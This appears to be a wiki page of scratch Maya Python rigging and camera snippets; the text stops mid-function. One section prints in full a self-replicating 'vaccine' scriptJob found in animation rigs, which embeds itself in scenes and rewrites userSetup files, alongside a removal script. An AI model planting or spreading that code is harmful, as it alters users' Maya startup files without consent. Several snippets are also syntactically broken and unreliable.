Maya Python Temp
Jump to navigation
Jump to search
Auto frustrum
# # 9,11 ****** 2,12 # * 0 * # 6,8 ****** 3,5 # import maya.cmds as mc c = mc.curve(p=[[0.0, 0.0, -6.0], [0.0, 0.0, 0.0], [1.0, 0.5, -6.0], [1.0, -0.5, -6.0], [0.0, 0.0, 0.0], [1.0, -0.5, -6.0], [-1.0, -0.5, -6.0], [0.0, 0.0, 0.0], [-1.0, -0.5, -6.0], [-1.0, 0.5, -6.0], [0.0, 0.0, 0.0], [-1.0, 0.5, -6.0], [1.0, 0.5, -6.0], [0.0, 0.0, 0.0]],d=1)
Toggle resolution and film gate for all cams
import maya.cmds as mc cams = mc.ls(typ='camera') toggleVar = 1 if mc.getAttr(cams[0]+'.displayResolution'): toggleVar = 0 for cam in cams: mc.setAttr(cam+'.displayResolution',toggleVar) mc.setAttr(cam+'.displayGateMask',toggleVar)
Gobelins fake virus thingy
Found in Gobelins animation rigs.
As the author stated, he knew this had the potential to duplicate. Will take a look later on, doesn't appear to do any harm other than pollute the script window with Chinese messages. Scriptjobs are crap.
https://discourse.techart.online/t/another-maya-malware-in-the-wild/12970
Quick removal
######################################## import os for script in cmds.ls(type='script'): if (script == "breed_gene" or script == "vaccine_gene"): cmds.delete(script) for sj in cmds.scriptJob(listJobs=True): if "leukocyte" in sj: job_num = int(sj.split(':', 1)[0]) cmds.scriptJob(kill=job_num, force=True) scriptdir = cmds.internalVar(userAppDir=True) script = scriptdir+'/scripts/vaccine.py' if os.path.isfile(script): os.remove(script) cmds.warning("Self copy vaccine.py removed, edit your "+scriptdir+"/scripts/userSetup.py manually to clean it up") ########################################
Initial 'virus'-like scriptjob+userSetup with english translation
# coding=utf-8 # @Time : 2020/07/05 15:46 # @Author : 顶天立地智慧大将军 # @File : vaccine.py # 仅作为公司内部使用保护 一旦泄露出去造成的影响 本人概不负责 # 'Only as a protection for the company's internal use, I will not be responsible for the impact once leaked' import maya.cmds as cmds import os import shutil class phage: @staticmethod def backup(path): folder_path = path.rsplit('/', 1)[0] file_name = path.rsplit('/', 1)[-1].rsplit('.', 1)[0] backup_folder = folder_path + '/history' new_file = backup_folder + '/' + file_name + '_backup.ma ' if not os.path.exists(backup_folder): os.makedirs(backup_folder) shutil.copyfile(path, new_file) def antivirus(self): health = True self.clone_gene() self.antivirus_virus_base() virus_gene = ['sysytenasdasdfsadfsdaf_dsfsdfaasd', 'PuTianTongQing', 'daxunhuan'] all_script_jobs = cmds.scriptJob(listJobs=True) for each_job in all_script_jobs: for each_gene in virus_gene: if each_gene in each_job: health = False job_num = int(each_job.split(':', 1)[0]) cmds.scriptJob(kill=job_num, force=True) all_script = cmds.ls(type='script') if all_script: for each_script in all_script: commecnt = cmds.getAttr(each_script + '.before') for each_gene in virus_gene: if commecnt: if each_gene in commecnt: try: cmds.delete(each_script) except: name_space = each_script.rsplit(':',1)[0] cmds.error(u'{}被感染了,但是我没法删除'.format(name_space)) #Is infected, but I can’t delete it if not health: file_path = cmds.file(query=True, sceneName=True) self.backup(file_path) cmds.file(save=True) cmds.error(u'你的文件被感染了,但是我贴心的为您杀毒并且备份了~不用谢~') #Your file was infected, but I thoughtfully disinfected and backed it up for you~ No thanks~ else: cmds.warning(u'你的文件贼健康~我就说一声没有别的意思') #Your file thief is healthy~ I just said nothing else @staticmethod def antivirus_virus_base(): virus_base = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel' if os.path.exists(virus_base): try: os.remove(virus_base) except: cmds.error(u'杀毒失败') def clone_gene(self): vaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py' if not cmds.objExists('vaccine_gene'): if os.path.exists(vaccine_path): gene = list() with open(vaccine_path, "r") as f: for line in f.readlines(): gene.append(line) cmds.scriptNode(st=1, bs="petri_dish_path = cmds.internalVar(userAppDir=True) + 'scripts/userSetup.py'\npetri_dish_gene = ['import sys\\r\\n', 'import maya.cmds as cmds\\r\\n', \"maya_path = cmds.internalVar(userAppDir=True) + '/scripts'\\r\\n\", 'if maya_path not in sys.path:\\r\\n', ' sys.path.append(maya_path)\\r\\n', 'import vaccine\\r\\n', \"cmds.evalDeferred('leukocyte = vaccine.phage()')\\r\\n\", \"cmds.evalDeferred('leukocyte.occupation()')\"]\nwith open(petri_dish_path, \"w\") as f:\n\tf.writelines(petri_dish_gene)", n='vaccine_gene', stp='python') cmds.addAttr('vaccine_gene', ln="notes", sn="nts", dt="string") cmds.setAttr('vaccine_gene.notes', gene, type='string') if not cmds.objExists('breed_gene'): cmds.scriptNode(st=1, bs="import os\nvaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py'\nif not os.path.exists(vaccine_path):\n\tif cmds.objExists('vaccine_gene'):\n\t\tgene = eval(cmds.getAttr('vaccine_gene.notes'))\n\t\twith open(vaccine_path, \"w\") as f:\n\t\t\tf.writelines(gene)", n='breed_gene', stp='python') def occupation(self): cmds.scriptJob(event=["SceneSaved", "leukocyte.antivirus()"], protected=True)
list reference edits
import maya.cmds as cmds for rl in cmds.ls(typ='renderLayer'): lc = cmds.listConnections(rl+'.adjustments', p=1, c=0); if lc: print('\n------------------------------\n'+rl+':\n------------------------------\n\t'+'\n\t'.join(lc)) script = cmds.getAttr('%s.attributeOverrideScript' % rl) print script
Turn Deformers On/Off
#for now it's split in two import maya.cmds as mc envelopes = [] for o in mc.ls(): if mc.attributeQuery('envelope', node=o, exists=True): if mc.getAttr(o+'.envelope',se=True): envelopes.append([o,mc.getAttr(o+'.envelope')]) mc.setAttr(o+'.envelope',0) #------------------------------------------------------------- for i in envelopes: mc.setAttr(i[0]+'.envelope',i[1]) envelopes = []
UI generation
import maya.cmds as mc class buttonGenerator(object): def __init__(self): self.buildUI() def buttonPush(*args): mc.warning(args[0]) def buildUI(self): mc.window('',title='UI',resizeToFitChildren=1,w=600) scrollLayout = mc.scrollLayout(horizontalScrollBarThickness=16,verticalScrollBarThickness=16) mc.columnLayout(adjustableColumn=True, columnAlign='center',rowSpacing=10) mc.rowLayout(numberOfColumns=3) mc.button(w=55,l="Refresh",c=self.buttonPush) mc.showWindow() w = buttonGenerator()
super connection editor
from pymel.core import * def buttonPressed(name): print "pressed %s!" % name win = window(title="Super Connection Editor") layout = horizontalLayout() for i in range(5): button(label="button %s" % i,command = Callback( buttonPressed, i ) ) layout.redistribute() # now will redistribute horizontally win.show()
create prim from bounding box
import maya.cmds as mc bbox = mc.xform(q=1,bb=1,ws=1) bbox = mc.polyEvaluate(bc=1) size = [(bbox[0][1]-bbox[0][0]),(bbox[1][1]-bbox[1][0]),(bbox[2][1]-bbox[2][0])] center = [(bbox[0][1]+bbox[0][0])/2,(bbox[1][1]+bbox[1][0])/2,(bbox[2][1]+bbox[2][0])/2] axises = [abs(size[2]-size[1]),abs(size[1]-size[0]),abs(size[2]-size[0])] if mc.polyCylinder(r=size[0]) mc.move(center[0],center[1],center[2]) sizes = [2 * x for x in center]
attach things to things ui
window = cmds.window( title="Attach stuff to stuff", iconName='Short Name', widthHeight=(150, 55),rtf=1 ) cmds.frameLayout(mh=10,mw=10,bv=0,l="") cmds.columnLayout(adjustableColumn=True ) #cmds.rowLayout(adjustableColumn=True ) cmds.text( label='This script attaches objects to other\nobjects using follicles. Parent objects require\nnon-overlapping UVs.' ) cmds.text( label='\nObjects will be attached from their pivot\nto the closest point on parent mesh.\n In case of multiple parents, the script\nwill try to figure out which is the closest.\n' ) cmds.button( label='Set object(s) to attach' ) cmds.separator(st="none",h=10) cmds.button( label='Set parent object(s) and apply', command=('cmds.deleteUI(\"' + window + '\", window=True)') ) #cmds.setParent( '..' ) cmds.showWindow( window )
counter animate
import maya.cmds as mc #expects a poly face #retrieve UV average toUv =mc.polyListComponentConversion( tuv=True ) shp = mc.ls(sl=1,o=1)[0] UVs = mc.polyEditUV(toUv, query=True ) U = V = 0.0 for i in range(len(UVs)/2): U += UVs[2*i] V += UVs[2*i+1] U /= len(UVs)/2 V /= len(UVs)/2 #create follicle attach it f = mc.createNode('follicle') fObj = mc.listRelatives(f,p=1,f=1)[0] mc.connectAttr(shp+".outMesh",f+".inputMesh") mc.connectAttr(shp+".worldMatrix[0]",f+".inputWorldMatrix") mc.connectAttr(f+".outTranslate",fObj+".translate") mc.connectAttr(f+".outRotate",fObj+".rotate") mc.setAttr(f+".parameterU", U) mc.setAttr(f+".parameterV", V)
create curves on contact
import maya.cmds as mc #### distance tooln, chopper les 2 objs ########## mc.cycleCheck(c=1,e=0) #stop nag obj = mc.ls(sl=1)[0] targ = mc.ls(sl=1)[1] objShp = mc.listRelatives(obj,s=1)[0] targShp = mc.listRelatives(targ,s=1)[0] objLoc = mc.spaceLocator()[0] targLoc = mc.spaceLocator()[0] objLocShp = mc.listRelatives(objLoc,s=1)[0] targLocShp = mc.listRelatives(targLoc,s=1)[0] cpom1 = mc.createNode('closestPointOnMesh') mc.connectAttr(targShp+'.worldMesh[0]',cpom1+'.inMesh') mc.connectAttr(targShp+'.worldMatrix[0]',cpom1+'.inputMatrix') cpom2 = mc.createNode('closestPointOnMesh') mc.connectAttr(objShp+'.worldMesh[0]',cpom2+'.inMesh') mc.connectAttr(objShp+'.worldMatrix[0]',cpom2+'.inputMatrix') mc.connectAttr(cpom1+'.result.position',objLoc+'.translate') mc.connectAttr(cpom2+'.result.position',targLoc+'.translate') mc.connectAttr(targLocShp+'.worldPosition',cpom1+'.inPosition') mc.connectAttr(objLocShp+'.worldPosition',cpom2+'.inPosition') dd = mc.distanceDimension(sp=(0,0,0),ep=(0,0,0)) mc.connectAttr(cpom1+'.result.position',dd+'.startPoint',f=1) mc.connectAttr(cpom2+'.result.position',dd+'.endPoint',f=1) #### select loc to bake, change threshold ################################ threshold = .06 substeps = 2 wallLoc = mc.ls(sl=1)[0] wallLocShp = mc.listRelatives(wallLoc,s=1)[0] resultLoc = mc.spaceLocator()[0] start = int(mc.playbackOptions(q=1,min=1)) end = int(mc.playbackOptions(q=1,max=1)) strokePointList = [] for i in xrange(start*substeps,end*substeps,1): time = i*1.0/substeps mc.currentTime(time) for i in range(3): #nasty hack to force cleaner closestPointOnMesh cycle mc.setAttr(wallLoc+'.rotateY', 0) dist = mc.getAttr(dd+'.distance') pos = mc.getAttr(wallLocShp+'.worldPosition')[0] mc.setAttr(resultLoc+'.translate',pos[0],pos[1],pos[2],type='double3') mc.setKeyframe(resultLoc, at='translate') if dist<threshold: strokePointList.append(pos) elif len(strokePointList) > 2: print 'newCurve' mc.curve(p=strokePointList,d=1) strokePointList = [] else: strokePointList = [] mc.select(wallLocShp)
zCtrl
import maya.cmds as mc def oneCurveGrid(rezx=10,rezy=10,scalex=1,scaley=1): points = [] sx = 1.0/(rezx-1) sy = 1.0/(rezy-1) for i in range(rezx/2): for j in range(rezy): points.append( [ ( 2.0 * i * sx -.5 ) * scalex , ( j * sy -.5 ) * scaley ,0] ) for j in reversed(range(rezy)): points.append( [ ( ( 2.0* i + 1) * sx -.5 ) * scalex ,( j * sy -.5 ) * scaley ,0]) for i in range(rezy/2): for j in reversed(range(rezx)): points.append( [ ( j * sx -.5 ) * scalex , ( i*2.0 * sy -.5 ) * scaley ,0]) for j in range(rezx): points.append( [ ( j * sx -.5 ) * scalex , ( ( i*2.0+1) * sy -.5 ) * scaley ,0]) for i in reversed(range(rezx)): points.append( [((i * sx -.5)*scalex) ,((i * sx -.5)*scaley), 0]) return points def zControl(): '''creates controllers to help with the focus distance. Plugs into 'focusDistance' of camera shape''' # choose cam selection = mc.ls(sl=True) chosenCamera = False if len(selection) > 0: selShp = (selection[0],mc.listRelatives(selection[0],s=True))[mc.nodeType(selection[0])=='transform'] #gives us the shape if mc.nodeType(selShp) == 'camera': chosenCamera = selShp else: currentPanel = mc.getPanel(withFocus=True) if mc.getPanel(typeOf=currentPanel) == 'modelPanel': chosenCamera = mc.modelPanel(currentPanel,q=True,cam=True) chosenCamera = mc.listRelatives(chosenCamera,s=True) if not chosenCamera: mc.warning('Select camera or perspective view') else: camObj = mc.listRelatives(chosenCamera,p=1)[0] camShape = chosenCamera[0] confirm = mc.confirmDialog( title='Confirm', message='Create z-depth controller for "'+camObj+'" ?', button=['Yes','No'], defaultButton='Yes', cancelButton='No', dismissString='No' ) if confirm == 'Yes': #spaghetti code below #floating locator system floatingZLoc = mc.curve(p=[[-0.319, -0.001, 0.0], [0.621, 0.94, 0.0], [-1.0, 0.94, 0.0], [-1.0, 1.06, 0.0], [1.392, 1.06, 0.0], [-0.608, -0.94, 0.0], [1.0, -0.94, 0.0], [1.0, -1.06, 0.0], [-1.379, -1.06, 0.0], [-0.319, -0.001, 0.0], [0.0, 0.0, 0.0], [-0.233, -0.233, -0.233], [0.233, 0.233, 0.233], [0.0, 0.0, 0.0], [-0.233, -0.233, 0.233], [0.233, 0.233, -0.233], [0.0, 0.0, 0.0], [-0.233, 0.233, -0.233], [0.233, -0.233, 0.233], [0.0, 0.0, 0.0], [0.233, -0.233, -0.233], [-0.233, 0.233, 0.233]],d=1,n=camObj+'_zDepth_FloatCtrl') projCurve = mc.curve(p=[[0,0,0],[0,0,1000]],d=1,n=camObj+'_longCurve') #create a curve to project our locator on pc = mc.parentConstraint(camObj,projCurve,mo=False)[0] #curve follows camera mc.setAttr(pc+'.target[0].targetOffsetRotateY',180) cameraLocator = mc.spaceLocator(n=camObj+'_camLocator')[0] #locator on camera to get world position later mc.pointConstraint(camObj,cameraLocator,mo=False) floatingLocator = mc.spaceLocator(n=camObj+'_floatLocator')[0] #locator to get floating controller world pos mc.parent(floatingLocator,floatingZLoc) projectionLocator = mc.spaceLocator(n=camObj+'_projLocator')[0] #locator to project on curve nPoc = mc.createNode('nearestPointOnCurve') mc.connectAttr(mc.listRelatives(floatingLocator,s=True)[0]+'.worldPosition',nPoc+'.inPosition',f=True) mc.connectAttr(mc.listRelatives(projCurve,s=True)[0]+'.worldSpace',nPoc+'.inputCurve',f=True) mc.connectAttr(nPoc+'.position',projectionLocator+'.translate',f=True) db = mc.createNode('distanceBetween') mc.connectAttr(mc.listRelatives(projectionLocator,s=True)[0]+'.worldPosition',db+'.point1') mc.connectAttr(mc.listRelatives(cameraLocator,s=True)[0]+'.worldPosition',db+'.point2') #end result locator resultLocator = mc.spaceLocator(n=camObj+'resultLocator')[0] #camera based system cameraGrid = mc.curve(p=oneCurveGrid(18,10,4,2.25),d=1,n=camObj+'_zDepth_Ctrl') #create a grid to visualize standard focus distance z cameraGridNull = mc.group(em=True,n=camObj+'_zDepth_Ctrl_ZERO') mc.parent(cameraGrid,cameraGridNull) mc.parent(resultLocator,cameraGridNull) pc2 = mc.parentConstraint(projCurve,cameraGridNull,mo=False)[0] mc.setAttr(cameraGrid+'.tz',mc.getAttr(camShape+'.focusDistance')) #choice system sr = mc.createNode('setRange') mc.setAttr(sr+'.oldMaxX',1) mc.setAttr(sr+'.oldMaxY',1) mc.setAttr(sr+'.maxY',0) mc.setAttr(sr+'.minY',1) mc.connectAttr(db+'.distance',sr+'.maxX',f=1) mc.connectAttr(cameraGrid+'.tz',sr+'.minX',f=1) mc.connectAttr(sr+'.outValue.outValueX',resultLocator+'.tz',f=True) arrow = mc.annotate(resultLocator,p=(0, 0, 0)) arrowObj = mc.listRelatives(arrow,p=1)[0] arrowObj = mc.rename(arrowObj,camObj+'_zDistance') arrow = mc.listRelatives(arrowObj,s=1)[0] mc.parent(arrowObj,cameraGridNull,r=True) md = mc.createNode('multiplyDivide') #ridiculous hack to force annoation update mc.connectAttr(camObj+'.tx',md+'.input2.input2X') mc.connectAttr(sr+'.outValue.outValueX',md+'.input2.input2Y') mc.connectAttr(floatingZLoc+'.tx',md+'.input2.input2Z') mc.connectAttr(md+'.output',mc.listRelatives(arrow,p=1)[0]+'.translate') #mostly controls and cosmetic stuff for o in (projCurve,resultLocator,floatingLocator,projectionLocator,cameraLocator,pc2): mc.setAttr(o+'.visibility',False) for o in (cameraGrid,arrowObj): for p in ('tx','ty','tz','sx','sy','sz','rx','ry','rz'): mc.setAttr(o+'.'+p,keyable=False,channelBox=False ) mc.setAttr(cameraGrid+'.tz',keyable=True,channelBox=False ) mc.setAttr(cameraGrid+'.tx',lock=True) mc.setAttr(cameraGrid+'.ty',lock=True) mc.addAttr(arrowObj,ln='focusDistance',attributeType='long') mc.setAttr(arrowObj+'.focusDistance',e=0,keyable=False,channelBox=True) mc.connectAttr(sr+'.outValue.outValueX',arrowObj+'.focusDistance',f=True) mc.addAttr(arrowObj,ln='useFloatingLocator',dv=0.0) mc.setAttr(arrowObj+'.useFloatingLocator',e=1,keyable=True,channelBox=False) mc.connectAttr(arrowObj+'.useFloatingLocator',sr+'.valueX',f=True) mc.connectAttr(arrowObj+'.useFloatingLocator',sr+'.valueY',f=True) mc.setAttr(arrow+'.overrideEnabled',1) mc.setAttr(arrow+'.overrideColor',17) mc.setAttr(cameraGrid+'.overrideEnabled',1) mc.setAttr(cameraGrid+'.overrideColor',12) mc.setAttr(floatingZLoc+'.overrideEnabled',1) mc.setAttr(floatingZLoc+'.overrideColor',12) zFocusGroup = mc.group(em=True,n=camObj+'_zFocusGroup') mc.parent(cameraGridNull,floatingZLoc,projCurve,projectionLocator,cameraLocator,zFocusGroup) mc.connectAttr(resultLocator+'.tz',camShape+'.focusDistance',f=1) mc.select(arrowObj) zControl()
locators on curve
import maya.cmds as mc import maya.mel as mel from random import uniform def curveOnSurfaceFromCurve(curveObj,offsetDistance=0,offsetMove=[1,0,0]): offset1 = mc.offsetCurve(curveObj,ugn=0,d=offsetDistance) mc.setAttr(offset1[0]+".translate", offsetMove[0], offsetMove[1], offsetMove[2], type="double3") offset2 = mc.offsetCurve(curveObj,ugn=0,d=-offsetDistance) mc.setAttr(offset2[0]+".translate", -offsetMove[0], -offsetMove[1], -offsetMove[2], type="double3") loftObj = mc.loft(offset1,offset2,u=1,ch=1)[0] loftShp = mc.listRelatives(loftObj,s=1)[0] v = mc.getAttr(loftShp+'.minMaxRangeV.maxValueV') cOs = mc.curveOnSurface(loftObj,d=3,uv=((.5, 0),(0.5, 1*v/3), (0.5, 2*v/3), (0.5, v))) return cOs def setLocs(*args): global pathAnims global curveObj global curveObjBase mini = mc.floatSliderGrp(args[0],q=1,v=1) maxi = mc.floatSliderGrp(args[1],q=1,v=1) rando = mc.floatSliderGrp(args[2],q=1,v=1)/50.0 expr = 'float $v = '+curveObjBase+'.anim;\n' count = len(pathAnims) step = (maxi-mini)/float(count) for p in range(len(pathAnims)): expr = expr + pathAnims[p]+'.uValue = ($v + '+str(mini+step*float(p)+uniform(-rando,rando))+')%1;\n' print expr haveExp = mc.listConnections(curveObjBase+'.anim') if haveExp: mc.expression(haveExp[0],e=1,o=curveObjBase, s=expr ) else: mc.expression(o=curveObjBase, s=expr ) global curveObjBase global curveObj global pathAnims curveObjBase = mc.ls(sl=1)[0] curveObj = curveOnSurfaceFromCurve(curveObjBase) curveShp = mc.listRelatives(curveObj,s=1)[0] pathAnims = [] if mc.nodeType(curveShp) == 'nurbsCurve': result = mc.promptDialog(tx=10,message='Numb. of Locators:',button=['OK', 'Cancel'],defaultButton='OK',cancelButton='Cancel',dismissString='Cancel') if result == 'OK': count = int(cmds.promptDialog(query=True, text=True)) if mel.eval('attributeExists "anim" '+curveObjBase)==0: mc.addAttr(curveObjBase,ln="anim") mc.setAttr(curveObjBase+'.anim',e=1,k=1) for i in range(count): loc = mc.spaceLocator() pathA = mc.pathAnimation(loc[0],wut='normal',follow=True,fm=True,c=curveShp) #mc.pathAnimation(object,c=motionPathCurve,wut="normal",f=1,ua=customUpAxis,fa=customForwardAxis,fm=1,stu=mc.playbackOptions(q=1,minTime=1),etu=mc.playbackOptions(q=1,maxTime=1)) #mc.setAttr(pathA+'.fractionMode',0) pathAnims.append(pathA) anim = mc.listConnections(pathA+'.uValue')[0] mc.disconnectAttr(anim+'.output',pathA+'.uValue') mc.delete(pathA+'_uValue') window = mc.window(title='spacing') mc.columnLayout() a = mc.floatSliderGrp( label='start', field=True,cc=lambda _:setLocs(a,b,c) ) b = mc.floatSliderGrp( label='end', field=True, value=1,cc=lambda _:setLocs(a,b,c) ) c = mc.floatSliderGrp( label='random', field=True, value=0,cc=lambda _:setLocs(a,b,c) ) mc.showWindow( window ) setLocs(a,b,c) mc.select(curveObjBase)
attach 2-cv curves to other curves with cluster
from math import sqrt, fabs import maya.cmds as mc def mag(v1,v2): return sqrt(pow(v2[0]-v1[0],2) + pow(v2[1]-v1[1],2) + pow(v2[2]-v1[2],2)) #first make a selection of curves that will be parent (attached to) curves stickToList = mc.ls(sl=1) ##################################################################################### ##################################################################################### ##################################################################################### ##################################################################################### #for each selected curves, go through end and start cvs (this implies it's a 2 cv curve) #get closest matching curve and its parm value, return it in a list attachments = [] edges = mc.ls(sl=1) for e in edges: for cv in range(2): pos = mc.xform(e+'.cv['+str(cv)+']',q=1,ws=1,t=1) #cv1 = mc.xform(e+'.cv[1]',q=1,ws=1,t=1) nearestDist = 99999.0 selectedCurve = '' parm = -1 npc = mc.createNode( 'nearestPointOnCurve') for item in stickToList: mc.connectAttr(mc.listRelatives(item,s=1)[0]+".worldSpace[0]", npc+".inputCurve", f=1) mc.setAttr(npc+".inPosition", pos[0], pos[1], pos[2], type="double3") nearPos = mc.getAttr(npc+".position")[0] dist = mag(pos,nearPos) if dist < nearestDist: nearestDist = dist selectedCurve = item parm = mc.getAttr(npc+".parameter") #debug -- print(e+'.cv['+str(cv)+']'+' - '+str(item)+' : '+str(dist)+' ('+selectedCurve+')') mc.delete(npc) attachments.append([e+'.cv['+str(cv)+']',selectedCurve, parm]) #create clusters on each end attached to curves w/ motion path for item in attachments: mc.select(item[0],r=1) cl = mc.cluster() pathAnim = mc.pathAnimation( cl, c=item[1] ) inputs = mc.listConnections(pathAnim+".uValue", s=1) mc.disconnectAttr(inputs[0]+".output",pathAnim+".uValue") mc.setAttr(pathAnim+".uValue",item[2])
copy paste skin weights
import maya.cmds as mc import maya.mel as mel influences = [] def copySkinWeight(): global influences vtx = mc.ls(sl=1,fl=1) obj = mc.ls(sl=1,o=1)[0] sc = mel.eval('findRelatedSkinCluster("'+obj+'")') values = mc.skinPercent(sc,str(vtx[0]),q=1,v=1,ib=0.0001) transforms = mc.skinPercent(sc,str(vtx[0]),q=1,t=None,ib=0.0001) influences = [] for i in range(len(transforms)): influences.append((transforms[i],values[i])) def pasteSkinWeight(): global influences if len(influences) == 0: mc.warning('copy weights first') else: vtx = mc.ls(sl=1) mc.skinPercent(sc,vtx,tv=influences) #add each def to shelf/function buttons #copySkinWeight() #pasteSkinWeight()
attach objects to closest objects
#to do: clean follicles def attachThingsToThings(objects,targets,keepHierachy=True): '''requires closestUV closestDistanceToMesh''' for o in objects: parents = mc.listRelatives(o,p=1,f=1) smallest = 99999.9 closest = u'' outPos = [] #p = mc.xform(o,ws=1,q=1,t=1) p = mc.xform(o,ws=1,q=1,rotatePivot=True) for r in targets: dist = closestDistanceToMesh(p,r) if dist < smallest: smallest = dist closest = r outPos = p follicle = closestUV(outPos,closest,attachFollicle=1) eg = mc.group(em=1,n=o+'zero') mc.parent(eg,o) mc.makeIdentity(eg) mc.parent(eg,w=1) mc.parent(o,eg) mc.parentConstraint(follicle,eg,mo=1) if keepHierachy and parents != None: mc.parent(eg,parents[0]) def closestDistanceToMesh(position,target): cpom = mc.createNode( 'closestPointOnMesh') targetMesh = mc.listRelatives(target,s=1)[0] mc.connectAttr(targetMesh+".worldMesh[0]",cpom+".inMesh") mc.connectAttr(targetMesh+".worldMatrix[0]",cpom+".inputMatrix") mc.setAttr(cpom+".inPosition", position[0], position[1], position[2], type="double3") x = mc.getAttr(cpom+".result.position.positionX") y = mc.getAttr(cpom+".result.position.positionY") z = mc.getAttr(cpom+".result.position.positionZ") p2 = [x,y,z] mc.delete(cpom) return mag(position,p2)
projected point on mesh + UVs
def intersect(object,target,bidirectional=1): '''returns a position if there's an intersetction''' targetMesh = mc.listRelatives(target,s=1)[0] poly = mc.polyPlane(sx=2,sy=2,w=.01,h=.01)[0] mc.parent(poly,object) mc.makeIdentity(poly) centervtx = str(poly)+".vtx[4]"; pos = mc.pointPosition(centervtx) mc.select(poly,target,r=1) wrap = mc.deformer(poly,type="shrinkWrap" )[0] mc.connectAttr(targetMesh+".worldMesh[0]",wrap+".targetGeom") mc.setAttr(wrap+".projection",3) mc.setAttr(wrap+".bidirectional",bidirectional) pos2 = mc.pointPosition(centervtx) mc.delete(wrap,poly) if pos==pos2: return False else: return pos2 def closestUV(position,target,attachFollicle=0): '''target geo MUST have its transforms frozen''' cpom = mc.createNode( 'closestPointOnMesh') targetMesh = mc.listRelatives(target,s=1,f=1)[0] mc.connectAttr(targetMesh+".worldMesh[0]",cpom+".inMesh") mc.connectAttr(targetMesh+".worldMatrix[0]",cpom+".inputMatrix") mc.setAttr(cpom+".inPosition", position[0], position[1], position[2], type="double3") getU = mc.getAttr(cpom+".result.parameterU") getV = mc.getAttr(cpom+".result.parameterV") mc.delete(cpom) if attachFollicle: follicle = mc.createNode('follicle') follicleObj = mc.listRelatives(follicle,p=1,f=1)[0] mc.connectAttr(targetMesh+".outMesh",follicle+".inputMesh") mc.connectAttr(targetMesh+".worldMatrix[0]",follicle+".inputWorldMatrix") mc.connectAttr(follicle+".outTranslate",follicleObj+".translate") mc.connectAttr(follicle+".outRotate",follicleObj+".rotate") mc.setAttr(follicle+".parameterU", getU) mc.setAttr(follicle+".parameterV", getV) return follicleObj else: return [getU,getV] import maya.cmds as mc from math import sqrt
create oriented joints from edge loop
import maya.cmds as mc import maya.mel as mel from math import pi, sqrt, fabs def bonesFromEdgeLoop(edgeLoop, numberOfBones = 4, front = [0,0,0]): '''creates a number of joints on edge loops, returns list of joints in the order''' numPoints = numberOfBones + 1 edges = edgeLoop #expects an edge loop mc.setToolTo( 'moveSuperContext' ) mmcMode = mc.manipMoveContext( 'Move', q=1, mode=1) mc.manipMoveContext( 'Move', e=1, mode=9) #set to normals avg #iteratate through edges, get normal and position, put locators locatorPositions = [] locatorRotations = [] locators = [] for edge in edges: faces = mc.polyListComponentConversion(edge, tf=1) mc.select(faces,r=1) mmc = mc.manipMoveContext( 'Move', q=1, position=1, oa=1) loc = mc.spaceLocator()[0] locatorPositions.append([mmc[0],mmc[1],mmc[2]]) locatorRotations.append([mmc[3],mmc[4],mmc[5]]) mc.setAttr ( '%s.translate' % loc, mmc[0], mmc[1], mmc[2] ) mc.setAttr ( '%s.rotate' % loc, deg(mmc[3]), deg(mmc[4]), deg(mmc[5]) ) locators.append(loc) mc.manipMoveContext( 'Move', e=1, mode=mmcMode) #set it back mc.select(edges, r=1) edge = mel.eval('polyToCurve -form 2 -degree 1')[0] uParms = equidistantPoints(edge, numPoints , tolerance = 0.005) uPos = positionsFromParams(edge, uParms) edgeShape = mc.listRelatives(edge,s=1)[0] maxU = mc.getAttr(edgeShape+".maxValue") endA = mc.pointPosition( edge + '.u['+str(uParms[0])+']') endB = mc.pointPosition( edge + '.u['+str(uParms[-1])+']') curveStartOrigin = front # figuring out chooseStart = closest(curveStartOrigin,[endA,endB]) # which end is the start upLocators = [] jointLocators = [] joints = [] for i in range(len(uParms)): n = len(uParms)-1-i if chooseStart else i pos = positionsFromParams( edge, [uParms[n]])[0] loc = mc.spaceLocator(p=[0,0,0])[0] jointLocators.append(loc) mc.setAttr(loc+".tx",pos[0]) mc.setAttr(loc+".ty",pos[1]) mc.setAttr(loc+".tz",pos[2]) closestLoc = locators[closest(pos,locatorPositions)] upLoc = mc.duplicate(closestLoc)[0] upLocators.append(upLoc) mc.parent(upLoc,closestLoc) mc.setAttr(upLoc+".tx",.5) mc.parent(upLoc,w=1) for i in range(len(jointLocators)-1): ac = mc.aimConstraint( jointLocators[i+1], jointLocators[i], wut= 'object', wuo = upLocators[i] ) mc.delete(ac) #set rot of last locator to the second to last r = list(mc.getAttr ( '%s.rotate' % jointLocators[-2] )[0]) mc.setAttr ( '%s.rotate' % jointLocators[-1], r[0], r[1], r[2] ) jointsList = [] previousJnt = "" for i in range(len(jointLocators)): r = list(mc.getAttr ( '%s.rotate' % jointLocators[i] )[0]) t = list(mc.getAttr ( '%s.translate' % jointLocators[i] )[0]) mc.select(cl=1) jnt = mc.joint(p=t) mc.setAttr (jnt+'.jointOrientX', r[0]) mc.setAttr (jnt+'.jointOrientY', r[1]) mc.setAttr (jnt+'.jointOrientZ', r[2]) if(previousJnt != ""): mc.parent(jnt,previousJnt) previousJnt = jnt if i == len(jointLocators)-1: jnt = mc.rename(jnt,jnt+'_end') jointsList.append(jnt) mc.select(cl=1) # tidy up mc.delete(upLocators,edge,locators,jointLocators) mc.select(jointsList[0],r=1) return jointsList def deg(rad): return 180.0/pi*rad def closest(point, list): index = -1 min = 9999999.0 for i in range(len(list)): dist = mag(list[i], point) if dist < min: min = dist index = i return index def mag(v1,v2): return sqrt(pow(v2[0]-v1[0],2) + pow(v2[1]-v1[1],2) + pow(v2[2]-v1[2],2)) def cross(a, b): c = [a[1]*b[2] - a[2]*b[1], a[2]*b[0] - a[0]*b[2], a[0]*b[1] - a[1]*b[0]] return c def positionsFromParams(curve, paramsList): pos = [] for u in paramsList: pos.append(mc.pointPosition(curve+'.u['+str(u)+']' )) return pos def equidistantPoints(curve, numPoints, tolerance = 0.005): '''plot equidistant points on a curve, return list of u params''' edgeShape = mc.listRelatives(curve,s=1)[0] maxU = mc.getAttr(edgeShape+".maxValue") ald = cmds.arcLengthDimension( curve+'.u['+str(maxU)+']') uParamsList = [0.0] curveTotalLength = mc.getAttr(ald+".arcLength") for i in range(numPoints-2): targetLength = curveTotalLength/(numPoints-1)*(i+1) uDelta = 1.0*maxU/2 uparam = uDelta delta = tolerance + 1 counter = 0 while delta > tolerance: mc.setAttr(ald+".uParamValue", uparam 